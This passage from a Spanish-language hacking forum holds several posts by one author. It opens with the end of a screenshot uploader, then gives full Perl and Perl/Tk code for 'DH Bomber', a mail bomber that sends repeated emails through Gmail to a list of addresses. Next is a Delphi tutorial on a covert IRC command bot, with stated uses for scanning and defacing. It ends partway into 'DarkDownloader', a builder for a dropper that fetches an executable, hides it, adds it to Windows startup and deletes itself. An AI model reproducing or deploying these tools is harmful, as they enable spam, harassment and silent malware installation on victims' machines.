    if ( $filename eq "" ) {
        system( $nombrefecha. ".jpg" );
    }
    else {
        system($filename);
    }
}

copyright();

## Functions

sub subirarchivo {

    my $your_key = "fuck you";    #Your API Key

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://post.imageshack.us/upload_api.php",
        Content_Type => "form-data",
        Content      => [
            key        => $your_key,
            fileupload => [ $_[0] ],
            format     => "json"
        ]
    )->content;

    if ( $code =~ /"image_link":"(.*?)"/ ) {
        print "\n[+] Link : " . $1 . "\n";
    }
    else {
        print "\n[-] Error uploading the image\n";
    }
}

sub head {

    my @logo = (
        "#=============================================#", "\n",
        "#             DH ScreenShoter 0.1             #", "\n",
        "#---------------------------------------------#", "\n",
        "# Written By Doddy H                          #", "\n",
        "# Email: lepuke[at]hotmail[com]               #", "\n",
        "# Website: doddyhackman.webcindario.com       #", "\n",
        "#---------------------------------------------#", "\n",
        "# The End ?                                   #", "\n",
        "#=============================================#", "\n"
    );

    print "\n";

    marquesina(@logo);

    print "\n\n";

}

sub copyright {

    my @fin = ("-- == (C) Doddy Hackman 2012 == --");

    print "\n\n";
    marquesina(@fin);
    print "\n\n";

    <stdin>;

    exit(1);

}

sub capturar_pantalla {

    SendKeys("%{PRTSCR}");

    my $a = Win32::Clipboard::GetBitmap();

    open( FOTO, ">" . $_[0] );
    binmode(FOTO);
    print FOTO $a;
    close FOTO;

}

sub marquesina {

    #Effect based in the exploits by Jafer Al Zidjali

    my @logo = @_;

    my $car = "|";

    for my $uno (@logo) {
        for my $dos ( split //, $uno ) {

            $|++;

            if ( $car eq "|" ) {
                mostrar( "\b" . $dos . $car, "/" );
            }
            elsif ( $car eq "/" ) {
                mostrar( "\b" . $dos . $car, "-" );
            }
            elsif ( $car eq "-" ) {
                mostrar( "\b" . $dos . $car, "\\" );
            }
            else {
                mostrar( "\b" . $dos . $car, "|" );
            }
            usleep(40_000);
        }
        print "\b ";
    }

    sub mostrar {
        print $_[0];
        $car = $_[1];
    }

}

sub agarrate_la_hora {

    my ( $a, $b, $c, $d, $e, $f, $g, $h, $i ) = localtime(time);

    $f += 1900;
    $e++;

    return (
        $d, $e, $f, $c, $b, $a

    );

}

## The End ?
#166
Perl / [Perl Tk] DH Bomber 0.2
Septiembre 27, 2013, 12:45:30 PM
Un simple script para mandar mensajes de correo a donde quieran , para usarlo necesitan una cuenta en gmail , lo nuevo de esta version es que use otro modulo que hace que el script no tenga tantas dependencias como en la ultima version.

El codigo :

Código: perl

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Win32::OLE;

head();

print "\n[+] Host : ";
chomp( my $host = <stdin> );

print "\n[+] Port : ";
chomp( my $puerto = <stdin> );

print "\n[+] Username : ";
chomp( my $username = <stdin> );

print "\n[+] Password : ";
chomp( my $password = <stdin> );

print "\n[+] Count Message : ";
chomp( my $count = <stdin> );

print "\n[+] To : ";
chomp( my $to = <stdin> );

print "\n[+] Subject : ";
chomp( my $asunto = <stdin> );

print "\n[+] Body : ";
chomp( my $body = <stdin> );

print "\n[+] File to Send : ";
chomp( my $file = <stdin> );

print "\n[+] Starting ...\n\n";

for my $num ( 1 .. $count ) {
    print "[+] Sending Message : $num\n";
    sendmail(
        $host,     $puerto, $username, $password, $username, $username,
        $username, $to,     $asunto,   $body,     $file
    );
}

print "\n[+] Finished\n";

copyright();

sub head {
    print "\n\n-- == DH Bomber 0.2 == --\n\n";
}

sub copyright {
    print "\n\n(C) Doddy Hackman 2013\n\n";
    exit(1);
}

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

# The End ?


Y aca les dejo la version Tk.

Una imagen :



El codigo :

Código: perl

#!usr/bin/perl
#DH Bomber 0.2
#Coded By Doddy H

use Tk;
use Tk::ROText;
use Tk::FileSelect;
use Cwd;
use Win32::OLE;

if ( $^O eq 'MSWin32' ) {
    use Win32::Console;
    Win32::Console::Free();
}

my $color_fondo = "black";
my $color_texto = "white";

my $ve =
  MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
$ve->geometry("920x560+20+20");
$ve->resizable( 0, 0 );
$ve->title("DH Bomber 0.2 (C) Doddy Hackman 2013");

$d = $ve->Frame(
    -relief     => "sunken",
    -bd         => 1,
    -background => $color_fondo,
    -foreground => $color_texto
);
my $ma = $d->Menubutton(
    -text             => "Mails",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $op = $d->Menubutton(
    -text             => "Options",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ab = $d->Menubutton(
    -text             => "About",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
my $ex = $d->Menubutton(
    -text             => "Exit",
    -underline        => 1,
    -background       => $color_fondo,
    -foreground       => $color_texto,
    -activebackground => $color_texto
)->pack( -side => "left" );
$d->pack( -side => "top", -fill => "x" );

$ma->command(
    -label      => "Add Mailist",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmailist
);
$ma->command(
    -label      => "Add Mail",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addmail
);
$ma->command(
    -label      => "Clean List",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&delist
);

$op->command(
    -label      => "Spam Now",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&spamnow
);
$op->command(
    -label      => "Add Attachment",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&addfile
);
$op->command(
    -label      => "Clean All",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&clean
);

$ab->command(
    -label      => "About",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&about
);
$ex->command(
    -label      => "Exit",
    -background => $color_fondo,
    -foreground => $color_texto,
    -command    => \&chali
);

$ve->Label(
    -text       => "Gmail Login",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 100, -y => 40 );

$ve->Label(
    -text       => "Username : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 80 );
my $user = $ve->Entry(
    -width      => 30,
    -text       => '[email protected]',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 83, -x => 85 );

$ve->Label(
    -text       => "Password : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 120 );
my $pass = $ve->Entry(
    -show       => "*",
    -width      => 30,
    -text       => 'Secret',
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 123, -x => 85 );

$ve->Label(
    -text       => "Message",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 160 );

$ve->Label(
    -text       => "Number : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 210 );
my $number = $ve->Entry(
    -width      => 5,
    -text       => "1",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 75, -y => 212 );

$ve->Label(
    -text       => "Attachment : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 240 );
my $fi = $ve->Entry(
    -text       => 'None',
    -width      => 30,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 90, -y => 242 );

$ve->Label(
    -text       => "Subject : ",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 20, -y => 270 );
my $tema = $ve->Entry(
    -text       => "Hi idiot",
    -width      => 20,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 73, -y => 273 );

$ve->Label(
    -text       => "Body",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -x => 110, -y => 310 );
my $body = $ve->Scrolled(
    "Text",
    -width      => 30,
    -height     => 12,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 45, -y => 350 );
$body->insert( "end", "Welcome to the hell" );

$ve->Label(
    -text       => "Mailist",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 400 );
my $mailist = $ve->Listbox(
    -height     => 31,
    -width      => 33,
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 85, -x => 330 );

$ve->Label(
    -text       => "Console",
    -font       => "Impact3",
    -background => $color_fondo,
    -foreground => $color_texto
)->place( -y => 40, -x => 685 );
my $console = $ve->Scrolled(
    "ROText",
    -width      => 40,
    -height     => 31,
    -background => $color_fondo,
    -foreground => $color_texto,
    -scrollbars => "e"
)->place( -x => 580, -y => 84 );

MainLoop;

sub addmailist {

    my $adda = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $adda->geometry("400x90+20+20");
    $adda->resizable( 0, 0 );
    $adda->title("Add Mailist");

    $adda->Label(
        -text       => "Mailist : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $en = $adda->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 75 );
    $adda->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&brona
    )->place( -y => 33, -x => 285 );
    $adda->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxa
    )->place( -y => 33, -x => 340 );

    sub brona {
        $browse = $adda->FileSelect( -directory => getcwd() );
        my $file = $browse->Show;
        $en->configure( -text => $file );
    }

    sub bronaxa {
        open( FILE, $en->get );
        @words = <FILE>;
        close FILE;

        for (@words) {
            $mailist->insert( "end", $_ );
        }
    }
}

sub addfile {

    my $addax = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $addax->geometry("390x90+20+20");
    $addax->resizable( 0, 0 );
    $addax->title("Add File");

    $addax->Label(
        -text       => "File : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $enaf = $addax->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 55 );
    $addax->Button(
        -text             => "Browse",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronax
    )->place( -y => 33, -x => 265 );
    $addax->Button(
        -text             => "Load",
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -width            => 7,
        -activebackground => $color_texto,
        -command          => \&bronaxx
    )->place( -y => 33, -x => 320 );

    sub bronax {
        $browse = $addax->FileSelect( -directory => getcwd() );
        my $filea = $browse->Show;
        $enaf->configure( -text => $filea );
    }

    sub bronaxx {
        $fi->configure( -text => $enaf->get );
    }
}

sub addmail {

    my $add = MainWindow->new(
        -background => $color_fondo,
        -foreground => $color_texto
    );
    $add->geometry("350x90+20+20");
    $add->resizable( 0, 0 );
    $add->title("Add Mail");

    $add->Label(
        -text       => "Mail : ",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact1"
    )->place( -x => 10, -y => 30 );
    my $ew = $add->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 33
    )->place( -y => 33, -x => 60 );
    $add->Button(
        -text             => "Add",
        -background       => $color_fondo,
        -activebackground => $color_texto,
        -foreground       => $color_texto,
        -width            => 7,
        -command          => \&addnow
    )->place( -y => 33, -x => 275 );

    sub addnow {
        $mailist->insert( "end", $ew->get );
    }

}

sub delist {
    $mailist->delete( 0.0, "end" );
}

sub spamnow {

    $console->delete( 0.1, "end" );

    $console->insert( "end", "[+] Starting the Party\n\n" );

    my @mails = $mailist->get( "0.0", "end" );
    chomp @mails;
    for my $mail (@mails) {

        my $text = $body->get( "1.0", "end" );

        if ( $fi->get eq "None" ) {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    ""
                );
            }

        }
        else {

            for ( 1 .. $number->get ) {

                $ve->update;
                $console->insert( "end",
                    "[+] Mail Number " . $_ . " to $mail\n" );

                sendmail(
                    "smtp.gmail.com", "465",
                    $user->get,       $pass->get,
                    $user->get,       $user->get,
                    $user->get,       $mail,
                    $tema->get,       $text,
                    $fi->get
                );
            }

        }
    }
    $console->insert( "end", "\n\n[+] Finished" );

}

sub clean {

    $user->configure( -text => " " );
    $pass->configure( -text => " " );
    $number->configure( -text => " " );
    $fi->configure( -text => "None" );
    $tema->configure( -text => " " );
    $body->delete( 0.1, "end" );
    $mailist->delete( 0.0, "end" );
    $console->delete( 0.1, "end" );

}

sub about {
    $about = MainWindow->new( -background => "black" );
    $about->title("About");
    $about->geometry("300x110");
    $about->resizable( 0, 0 );
    $about->Label( -background => "black", -foreground => "white" )->pack();
    $about->Label(
        -text       => "Contact : lepuke[at]hotmail[com]",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Web : doddyhackman.webcindario.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
    $about->Label(
        -text       => "Blog : doddy-hackman.blogspot.com",
        -font       => "Impact",
        -background => "black",
        -foreground => "white"
    )->pack();
}

sub chali { exit(1); }

sub sendmail {

## Function Based on : http://code.activestate.com/lists/pdk/5351/
## Credits : Thanks to Phillip Richcreek and Eric Promislow

    my (
        $host, $port, $username, $password, $from, $cc,
        $bcc,  $to,   $asunto,   $mensaje,  $file
    ) = @_;

    $correo = Win32::OLE->new('CDO.Message');

    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusername',
        $username );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendpassword',
        $password );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserver', $host );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpserverport',
        $port );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpusessl', 1 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/sendusing', 2 );
    $correo->Configuration->Fields->SetProperty( "Item",
        'http://schemas.microsoft.com/cdo/configuration/smtpauthenticate', 1 );
    $correo->Configuration->Fields->Update();

    if ( -f $file ) {
        $correo->AddAttachment($file);
    }

    $correo->{From}     = $from;
    $correo->{CC}       = $cc;
    $correo->{BCC}      = $bcc;
    $correo->{To}       = $to;
    $correo->{Subject}  = $asunto;
    $correo->{TextBody} = $mensaje;
    $correo->Send();

}

#The End ?


#167
Delphi / [Delphi] Creacion de un IRC Bot
Septiembre 24, 2013, 04:24:50 PM
[Titulo] : Creacion de un IRC Bot
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Conectando con el servidor
0x03 : Listando usuarios
0x04 : Mandar mensajes
0x05 : Recibir privados
0x06 : Reconocer comandos
0x07 : Testeando
0x08 : Bibliografia

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual sobre como hacer un bot irc.

Para este manual necesitan tener instalado TIdIRC y TPerlRegEx en Delphi , el primero me vino por defecto en Delphi 2010 y el segundo lo pueden bajar e instalar You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

Nota : Proximamente presentare mi irc bot llamado Claptrap en honor al robot de bordelands xDD.

¿ Que es IRC ?

Segun wikipedia , IRC (Internet Relay Chat) es un protocolo de comunicación en tiempo real basado en texto, que permite debates entre dos o más personas. Se diferencia de la mensajería instantánea en que los usuarios no deben acceder a establecer la comunicación de antemano, de tal forma que todos los usuarios que se encuentran en un canal pueden comunicarse entre sí, aunque no hayan tenido ningún contacto anterior. Las conversaciones se desarrollan en los llamados canales de IRC, designados por nombres que habitualmente comienzan con el carácter # o & (este último sólo es utilizado en canales locales del servidor). Es un sistema de charlas ampliamente utilizado por personas de todo el mundo.

0x02 : Conectando con el servidor

Lo de siempre , creamos un proyecto nuevo de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho esto vamos a crear la interfaz para todo el manual.

Lo que vamos a necesitar es usar :

6 Labels
3 Edit
3 Botones
1 ListBox (para los usuarios conectados)
2 Memo

Y los componentes TPerlRegEx y IdIRC

Una imagen de como deberia quedar :



Una vez hecho esto llego la hora de realizar la conexion , entonces hacemos doble click en el boton de "conectar" o el nombre que le pusieron ustedes para poner el siguiente codigo :

Código: text

procedure TForm1.Button1Click(Sender: TObject);
begin

  IdIRC1.Host := Edit1.Text; // Usamos el contenido de Edit1 para reconocer el host a conectarse
  IdIRC1.Port := 6667; // Usamos 6667 para el puerto del host
  IdIRC1.Nickname := Edit3.Text; // Usamos el contenido de Edit3.Text como nickname
  IdIRC1.Username := Edit3.Text + ' 1 1 1 1';
  // Declaramos el username para entrar
  IdIRC1.AltNickname := Edit3.Text + '-123'; // Declaramos el nick alternativo

  try // Intentamos hacer esto ....

    begin

      IdIRC1.Connect; // Iniciamos la conexion
      IdIRC1.Join(Edit2.Text); // Usamos Edit2 como el nombre del canal a entrar

    end;

  except // Si algo sale mal ...
    begin
      ShowMessage('Error'); // Mostramos error con ShowMessage()

    end;
  end;

end;


Una imagen de como quedo :



Con esto ya tenemos la conexion entonces usamos el segundo boton llamado "desconectar" o el nombre que ustedes le pusieron , hacemos doble click y agregamos este codigo :

Código: text

procedure TForm1.Button2Click(Sender: TObject);
begin
  IdIRC1.Disconnect; // Nos desconectamos del canal en el que estamos
end;


Se podria decir que con esto ya tenemos para conectarnos y desconectarmos del canal sin ningun problema.

Pero para variar las cosas vamos a usar el memo1 como consola de las cosas que pasan durante la conexion , entonces vamos al diseño del formulario , buscamos el IdIRC1 , le hacemos un solo click y nos fijamos en object inspector para despues ir
a la parte de eventos , buscamos el evento OnRaw , le hacemos doble click y agregamos este codigo :

Código: text

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  Memo1.Lines.Add(AMessage); // Agregamos al memo1 lo que AMessage recibe
end;


Una imagen de donde esta la parte del evento y de paso muestro como quedo el codigo :



Eso seria la parte de como conectarnos y desconectarnos de un canal irc.

0x03 : Listando usuarios

Esta es la parte en la que usamos PerlRegEx , que es un componente que nos permite usar las expresiones regualares de Perl en Delphi.

Entonces buscamos el evento "NicknamesListReceived" en el componente IdIRC1 que esta en el formulario para hacer doble click en el evento y poner el siguiente codigo.

Código: text

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer; // Declaramos i como entero
  i2: integer; // Declaramos i2 como entero
  renicks: string; // Declaramos renicks como string
  listanow: TStringList; // Declaramos listanow como StringList
  arraynow: array of String; // Declaramos arraynow como array of string

begin

  ListBox1.Clear; // Limpiamos el contenido de ListBox1

  for i := 0 to ANicknameList.Count - 1 do // Listamos con for los nicks que se encuentran
  // en ANicknameList
  begin

    PerlRegEx1.Regex := '(.*) = ' + Edit2.Text + ' :(.*)';
    // Establecemos la expresion regular
    // a usar

    PerlRegEx1.Subject := ANicknameList[i]; // Buscamos el nick en ANicknameList

    if PerlRegEx1.Match then // Si perlregex encuentra algo ...
    begin
      renicks := PerlRegEx1.SubExpressions[2]; // Declaramos como renicks el segundo resultado de
      // la expresion regular

      renicks := StringReplace(renicks, Edit3.Text, '', []);
      // Borramos de renicks el nombre
      // de nuestro bot

      listanow := TStringList.Create; // Declaramos como TStringList a listanow
      listanow.Delimiter := ' '; // Establecemos que se busque los nicks entre espacios en blanco
      listanow.DelimitedText := renicks; // Realizamos la busqueda

      for i2 := 0 to listanow.Count - 1 do // Listamos la lista 'listanow' que contiene los nicks
      begin
        ListBox1.Items.Add(listanow[i2]); // Agregamos a ListBox1 los nicks encontrados
      end;

    end;

  end;

end;


Les dejo una imagen de como nos deberia quedar el codigo y de donde esta el evento que usamos.



0x04 : Mandar mensajes

Mandar mensajes usando el componente de indy es muy facil , solo tenemos que hacer doble click en el tercer boton , en mi caso le puse de texto "spam now" , ustedes pueden
ponerle el que quieran , cuando este en el codigo del formulario en la parte del tercer boton pongan el siguiente codigo.

Código: text

procedure TForm1.Button3Click(Sender: TObject);
var
  i: integer; // Declaramos i como entero
begin
  IdIRC1.Say(Edit2.Text, 'hola publico'); // Mandamos un mensaje publico al canal en el que
  // estamos
  for i := 0 to ListBox1.Count - 1 do // Abrimos los items de listbox usando un for
  begin
    IdIRC1.Say(ListBox1.Items[i], 'hola privado');
    // Mandamos un privado al nick de la lista
  end;

end;


Una imagen de como les deberia quedar el codigo :



0x05 : Recibir privados

Otra cosa facil de hacer gracias a el componente de indy es que se pueden recibir y leer los mensajes privados que nos mandan , para hacer esto vamos al evento OnPrivateMessage de IdIRC y ponemos
el siguiente codigo.

Código: text

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage); // Mostramos en el memo3 el nickname
  // de quien nos esta mandando el mensaje y ':' que separa el nick del mensaje que nos
  // enviaron
end;


Una imagen de donde esta el evento y como quedo el codigo.



0x06 : Reconocer comandos

Esta es la parte mas importante en un irc bot , que es para poder mandar comandos al bot o hacer cierta cosa como un SQLiScanner o AdminFinder u otra cosa para dichoso
Defacing.

Para hacer esto nos vamos a basar en mensajes privados , de esa forma no estamos delatando al bot en el canal publico , entonces volvemos al evento OnPrivateMessage del punto
anterior para actualizarlo con este codigo nuevo :

Código: text

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin

  Memo3.Lines.Add(ANicknameFrom + ' : ' + AMessage);

  // Mostramos en el memo3 el nickname
  // de quien nos esta mandando el mensaje y tambien ':' que separa el nick del mensaje que nos
  // enviaron

  PerlRegEx1.Regex := '!help'; // Usamos esta linea para comprobar si AMessage contiene !help
  PerlRegEx1.Subject := AMessage; // Buscamos en  AMessage

  if PerlRegEx1.Match then // Si se encontro ....
  begin
    IdIRC1.Say(ANicknameFrom,
      'el comando disponible es : !scanear <cmd1> <cmd2>');
    // Respondemos
    // con el unico comando disponible
  end;

  PerlRegEx1.Regex := '!scanear (.*) (.*)'; // Capturamos lo que se encuentre a la derecha de
  // !scanear y hacemos un espacio para capturar lo que
  // esta al lado de lo que encontramos
  // en realidad son dos comandos
  PerlRegEx1.Subject := AMessage; // Buscamos los dos comandos en AMessage que
  // contiene el mensaje que nos estan enviando

  if PerlRegEx1.Match then // Si se encontro algo ...
  begin
    IdIRC1.Say(ANicknameFrom, 'comando 1 : ' + PerlRegEx1.SubExpressions[1]);
    // Le respondemos
    // al que nos envio el mensaje privado con el valor del primer comando que nos envio
    IdIRC1.Say(ANicknameFrom, 'comando 2 : ' + PerlRegEx1.SubExpressions[2]);
    // Le respondemos
    // al que nos envio el mensaje privado con el valor del segundo comando que nos envio
  end;

end;


Una imagen de donde esta el evento y de como quedo el codigo.



0x07 : Testeando

Una vez hecho todo esto podemos probar como quedo todo , les dejo unas imagenes que de como
funciona.







Eso seria todo

0x08 : Bibliografia

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login

--========--
  The End ?
--========--

Version You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#168
Perl / [Perl Tk] DarkDownloader 0.1
Septiembre 20, 2013, 03:56:35 PM
Un simple script en perl para descargar archivos con las siguientes opciones :

  • Bajar el archivo y cambiar el nombre
  • Mover a otro directorio el archivo descargado
  • Ocultar archivo
  • Cargar cada vez que inicie Windows
  • Autoborrarse despues de terminar todo

    Una imagen :



    El codigo :

    Código: perl

    #!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H
    #Command : perl2exe -gui gen_download.pl

    use Tk;

    my $color_fondo = "black";
    my $color_texto = "green";

    if ( $^O eq 'MSWin32' ) {
        use Win32::Console;
        Win32::Console::Free();
    }

    my $ven =
      MainWindow->new( -background => $color_fondo, -foreground => $color_texto );
    $ven->geometry("340x320+20+20");
    $ven->resizable( 0, 0 );
    $ven->title("DarkDownloader 0.1");

    $ven->Label(
        -text       => "Link : ",
        -font       => "Impact",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 20, -y => 20 );
    my $link = $ven->Entry(
        -text       => "http://localhost/test.exe",
        -width      => 40,
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 60, -y => 25 );

    $ven->Label(
        -text       => "-- == Options == --",
        -background => $color_fondo,
        -foreground => $color_texto,
        -font       => "Impact"
    )->place( -x => 90, -y => 60 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File with this name : ",
        -variable         => \$op_save_file_name
    )->place( -x => 20, -y => 100 );
    my $save_file_with_name = $ven->Entry(
        -width      => 20,
        -text       => "testar.exe",
        -background => $color_fondo,
        -foreground => $color_texto
    )->place( -x => 170, -y => 100 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Save File in this directory : ",
        -variable         => \$op_save_in_dir
    )->place( -x => 20, -y => 130 );
    my $save_file_in_this_dir = $ven->Entry(
        -background => $color_fondo,
        -foreground => $color_texto,
        -width      => 20,
        -text       => "C:/WINDOWS/sexnow/"
    )->place( -x => 170, -y => 130 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Hide File",
        -variable         => \$op_hide
    )->place( -x => 20, -y => 160 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Load each time you start Windows",
        -variable         => \$op_regedit
    )->place( -x => 20, -y => 190 );

    $ven->Checkbutton(
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "AutoDelete",
        -variable         => \$op_chau
    )->place( -x => 20, -y => 220 );

    $ven->Button(
        -command          => \&genow,
        -activebackground => $color_texto,
        -background       => $color_fondo,
        -foreground       => $color_texto,
        -text             => "Generate !",
        -font             => "Impact",
        -width            => 30
    )->place( -x => 40, -y => 260 );

    MainLoop;

    sub genow {

        my $code_now = q(#!usr/bin/perl
    #DarkDownloader 0.1
    #Coded By Doddy H

    use LWP::UserAgent;
    use File::Basename;
    use File::Copy qw(move);
    use Win32::File;
    use Win32::TieRegistry( Delimiter => "/" );
    use Cwd;

    my $nave = LWP::UserAgent->new;
    $nave->agent(
    "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
    );
    $nave->timeout(5);

    # Config

    my $link                      = "ACA_VA_TU_LINK";
    my $op_bajar_con_este_nombre  = ACA_VA_TU_OP_NOMBRE;
    my $op_bajar_con_este_nombrex = "ACA_VA_TU_OP_NOMBREX";
    my $op_en_este_dir            = ACA_VA_TU_OP_DIR;
    my $op_en_este_dirx           = "ACA_VA_TU_OP_DIRX";
    my $op_ocultar_archivos       = ACA_VA_TU_OP_HIDE;
    my $op_agregar_al_registro    = ACA_VA_TU_OP_REG;
    my $op_chau                   = ACA_VA_TU_CHAU;

    #

    # Download File

    if ( $op_bajar_con_este_nombre eq 1 ) {
        download( $link, $op_bajar_con_este_nombrex );
    }
    else {
        download( $link, basename($link) );
    }

    # Change Directory

    if ( $op_en_este_dir eq 1 ) {

        unless ( -d $op_en_este_dirx ) {
            mkdir( $op_en_este_dirx, 777 );
        }

        if ( $op_bajar_con_este_nombre eq 1 ) {
            move( $op_bajar_con_este_nombrex,
                $op_en_este_dirx . "/" . $op_bajar_con_este_nombrex );
        }
        else {
            move( basename($link), $op_en_este_dirx );
        }

    }

    # HIDE FILES

    if ( $op_ocultar_archivos eq 1 ) {

